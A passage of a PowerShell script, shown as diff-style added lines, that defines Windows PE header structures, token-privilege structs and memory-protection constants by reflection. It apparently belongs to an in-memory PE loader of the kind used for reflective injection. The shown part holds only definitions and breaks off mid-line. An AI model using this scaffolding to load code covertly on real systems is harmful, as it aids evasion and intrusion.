$TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null + $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null + $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null + $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null + $MachineType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType + + #Enum MagicType + $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null + $MagicType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType + + #Enum SubSystemType + $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null + $SubSystemType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType + + #Enum DllCharacteristicsType + $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null + $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null + $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null + $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null + $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null + $DllCharacteristicsType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType + + ########### STRUCT ########### + #Struct IMAGE_DATA_DIRECTORY + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8) + ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null + $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY + + #Struct IMAGE_FILE_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20) + $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null + $IMAGE_FILE_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER + + #Struct IMAGE_OPTIONAL_HEADER64 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240) + ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null + ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null + ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null + ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null + ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null + ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null + ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null + ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null + ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null + ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null + ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null + ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null + ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null + ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null + ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null + ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null + ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null + ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null + ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null + ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null + ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null + ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null + ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null + ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null + ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null + ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null + ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null + ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null + ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null + ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null + ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null + ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null + ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null + ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null + ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null + ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null + ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null + ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null + ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null + $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64 + + #Struct IMAGE_OPTIONAL_HEADER32 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224) + ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null + ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null + ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null + ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null + ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null + ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null + ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null + ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null + ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null + ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null + ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null + ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null + ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null + ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null + ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null + ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null + ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null + ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null + ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null + ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null + ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null + ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null + ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null + ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null + ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null + ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null + ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null + ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null + ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null + ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null + ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null + ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null + ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null + ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null + ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null + ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null + ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null + ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null + ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null + ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null + $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32 + + #Struct IMAGE_NT_HEADERS64 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264) + $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null + $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64 + + #Struct IMAGE_NT_HEADERS32 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248) + $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null + $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32 + + #Struct IMAGE_DOS_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64) + $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null + + $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4)) + $e_resField.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null + + $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10)) + $e_res2Field.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null + $IMAGE_DOS_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER + + #Struct IMAGE_SECTION_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40) + + $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal') + $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8)) + $nameField.SetCustomAttribute($AttribBuilder) + + $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER + + #Struct IMAGE_BASE_RELOCATION + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null + $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION + + #Struct IMAGE_IMPORT_DESCRIPTOR + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20) + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null + $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR + + #Struct IMAGE_EXPORT_DIRECTORY + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40) + $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null + $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY + + #Struct LUID + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null + $LUID = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID + + #Struct LUID_AND_ATTRIBUTES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12) + $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null + $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null + $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES + + #Struct TOKEN_PRIVILEGES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16) + $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null + $TOKEN_PRIVILEGES = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES + + return $Win32Types + } + + Function Get-Win32Constants + { + $Win32Constants = New-Object System.Object + + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80 + $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40 + $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100 + $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE 